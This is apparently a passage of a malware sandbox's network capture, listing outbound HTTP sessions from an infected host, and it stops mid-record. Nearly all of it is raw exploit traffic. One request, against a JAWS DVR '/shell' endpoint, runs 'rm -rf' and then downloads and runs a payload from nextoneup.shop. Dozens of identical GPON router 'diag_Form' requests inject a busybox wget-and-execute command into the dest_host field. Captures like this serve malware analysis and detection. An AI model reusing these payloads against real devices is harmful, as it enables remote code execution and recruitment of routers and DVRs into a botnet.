Apr 14, 2024 04:00:23.162640095 CEST	376	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 05:11:37 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
901	192.168.2.13	45014	13.232.155.65	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.807096004 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
902	192.168.2.13	55214	2.217.111.120	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.879769087 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
903	192.168.2.13	33690	37.1.189.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.879776955 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
904	192.168.2.13	44872	5.213.15.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.879801035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
905	192.168.2.13	42484	37.162.206.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.879812002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
906	192.168.2.13	58454	212.79.126.177	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.879837036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
907	192.168.2.13	46452	117.66.115.182	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.879863977 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
908	192.168.2.13	43804	94.15.11.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.879888058 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
909	192.168.2.13	38982	210.56.9.209	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.879908085 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
910	192.168.2.13	43262	94.242.234.233	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.879909039 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
911	192.168.2.13	50374	117.90.120.93	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.879930019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
912	192.168.2.13	43462	210.160.99.149	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.879951954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
913	192.168.2.13	58870	117.169.72.182	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.879957914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
914	192.168.2.13	55450	202.118.74.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.879986048 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
915	192.168.2.13	34974	202.139.38.172	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.879992962 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
916	192.168.2.13	53062	109.226.249.28	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880023956 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
917	192.168.2.13	39646	210.229.0.121	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880055904 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
918	192.168.2.13	47288	202.18.246.71	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880063057 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
919	192.168.2.13	55040	109.150.33.193	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880086899 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
920	192.168.2.13	46894	178.75.226.186	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880127907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
921	192.168.2.13	41326	117.30.150.131	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880161047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
922	192.168.2.13	49574	212.131.99.106	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880182028 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
923	192.168.2.13	53250	2.112.197.66	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880206108 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
924	192.168.2.13	43972	178.247.224.104	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880206108 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
925	192.168.2.13	50492	5.164.83.237	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.880215883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
926	192.168.2.13	47868	94.242.175.20	443

Timestamp	Bytes transferred	Direction	Data
